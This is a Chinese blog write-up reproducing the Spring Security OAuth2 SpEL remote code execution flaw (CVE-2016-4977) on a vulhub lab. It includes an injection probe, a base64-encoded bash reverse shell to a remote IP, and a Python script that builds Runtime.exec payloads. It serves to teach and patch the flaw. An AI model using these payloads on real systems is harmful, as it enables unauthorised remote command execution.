Spring Security OAuth2-远程代码执行 (CVE-2016-4977)

Spring Security OAuth2-远程代码执行 (CVE-2016-4977)

0x00 前言

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

影响版本:

Spring Security OAuth 2.3到2.3.2
Spring Security OAuth 2.2到2.2.1
Spring Security OAuth 2.1到2.1.1
Spring Security OAuth 2.0到2.0.14

利用条件:

知道用户名和密码

0x01 环境搭建

这里使用vulhub漏洞靶场

用户名和密码,admin:admin

0x02 复现步骤

1、访问http://your-ip:8080/oauth/authorize?response_type=${12*2}&client_id=acme&scope=openid&redirect_uri=http://test

image-20230328213515907

可以发现{12*2}表达式的值已经输出

2、利用脚本生成反弹shell的poc

这里要注意:Java反弹shell的限制与绕过方式

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjE1Mi81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}

image-20230328213323037

poc.py

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 

poc += ')}'

print(poc)

运行脚本后,生成了一大串SpEL语句

3、将生成的这个SpEL语句填入表达式中,访问成功弹回shell:

image-20230328213634450

0x03 修复建议

1、更新官方最新补丁

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值